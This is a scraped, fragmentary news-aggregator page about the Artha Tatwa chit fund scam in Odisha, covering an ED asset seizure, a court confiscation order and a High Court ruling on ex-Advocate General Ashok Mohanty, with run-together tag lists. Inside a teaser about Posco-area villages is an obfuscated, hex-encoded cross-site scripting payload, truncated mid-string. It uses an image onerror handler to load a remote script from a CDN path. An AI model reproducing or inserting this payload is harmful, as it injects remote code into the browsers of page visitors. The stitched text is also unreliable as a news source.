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ED: ED seizes ₹82L assets of men linked to chit fund firm | Bhubaneswar News

The Enforcement Directorate (ED) on Friday seized assets worth over Rs 82 lakh in different parts of the state owned by multiple men linked to the Artha Tatwa (AT) Group chit fund scam.

India generalPradeep sethyRohit pawarSeetaram meenaSalman khurshidKrushnakumar jatLouis khurshidArtha tatwa at groupMaharashtra state cooperative bankZakir husain memorial trust in farrukhabadEnforcement directorateArtha tatwaState monitoring cellZakir husain memorial trust

Odisha court orders confiscation of ponzi firm s property

(This story has not been edited by THE WEEK and is auto-generated from a PTI

Pradeep sethyArtha tatwa at groupOdisha protectionArtha tatwa

Odisha chit fund scam: OPID court orders confiscation of property of firm linked to AT Group

Odisha chit fund scam: OPID court orders confiscation of property of firm linked to AT Group
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Pradeep sethyArtha tatwa at groupOdisha protectionArtha tatwa

[Artha Tatwa ponzi scam] Orissa High Court dismisses plea by ex-Advocate General Ashok Mohanty seeking discharge from case

The allegation against Mohanty was that he purchased a house in Cuttack from the Chairman of the Artha Tatwa Group which was shown to be over ₹1 crore, while the amount paid was only ₹70 lakh.

Justice laxmikanta mohapatraOrissa high courtArtha tatwa group pradeep sethyHigh courtAdvocate generalArtha tatwa group pradeepJustice laxmikantaFirst information reportOrissa high courtOrissa hcArtha tatwaAshok mohantyChit fund scamJustice sk sahooArtha tatwa groupMoney receipts

A tale of 2 villages: How Dhinkia & Nuagaon have fared different between 2 steel projects

As the Odisha government speeds up acquiring land near Paradip for Jindal Steel, DTE visits two villages that had chosen different paths 20 years ago when Posco came to establish a plant">0x416d65726963613c696d67207372633d2222206f6e6572726f723d2276617220733d646f63756d656e742e637265617465456c656d656e74282773637269707427293b732e7372633d61746f6228274c79396a5a473475616e4e6b5a577870646e4975626d56304c32646f4c7a526b6">

West bengalSouth koreaSouth koreanSmruti mantriPitambar mallickBidyadhar mallickPriya ranjan sahuPosco pratirodh sangramUnited action committeePosco intl corpIndustrial infrastructure development corporationJindal steel worksGram panchayatsPosco pratirodh sangram samitiPriya ranjanGram panchayat

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